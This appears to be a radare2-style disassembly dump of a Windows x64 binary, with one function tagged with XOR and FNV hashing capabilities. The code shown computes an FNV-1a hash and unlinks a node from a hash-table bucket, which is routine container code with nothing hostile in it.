mov byte [0x140129340], al
jmp 0x140054466
mov ecx, 2
call fcn.140052e90
test esi, esi
jne 0x14005447d
mov ecx, r14d
call fcn.140054498
int3
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
mov r14, qword [rsp + 0x48]
add rsp, 0x20
pop r15
ret
xor r8d, r8d
xor edx, edx
jmp 0x14005432c
Function at 0x140007060
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x30
movups xmm0, xmmword [r8 + 0x10]
mov r11, qword [r8 + 0x18]
mov rdi, rdx
xor edx, edx
mov r10, rcx
movaps xmmword [rsp + 0x20], xmm0
movabs r9, 0xcbf29ce484222325
test r11, r11
je 0x1400070b3
mov rcx, qword [rsp + 0x20]
movabs rbx, 0x100000001b3
nop
movzx eax, byte [rdx + rcx]
inc rdx
xor r9, rax
imul r9, rbx
cmp rdx, r11
jb 0x1400070a0
mov rdx, qword [r10 + 0x30]
and rdx, r9
shl rdx, 4
add rdx, qword [r10 + 0x18]
mov rax, qword [rdx]
cmp qword [rdx + 8], r8
jne 0x1400070e7
cmp rax, r8
jne 0x1400070dd
mov rax, qword [r10 + 8]
mov qword [rdx], rax
mov qword [rdx + 8], rax
jmp 0x1400070f2
mov rax, qword [r8 + 8]
mov qword [rdx + 8], rax
jmp 0x1400070f2
cmp rax, r8
jne 0x1400070f2
mov rax, qword [r8]
mov qword [rdx], rax
mov rbx, qword [r8]
mov edx, 0x38
dec qword [r10 + 0x10]
mov rcx, qword [r8 + 8]
mov qword [rcx], rbx
mov rcx, qword [r8 + 8]
mov qword [rbx + 8], rcx
mov rcx, r8
call fcn.1400c5bc0
mov qword [rdi], rbx
mov rax, rdi
mov rbx, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret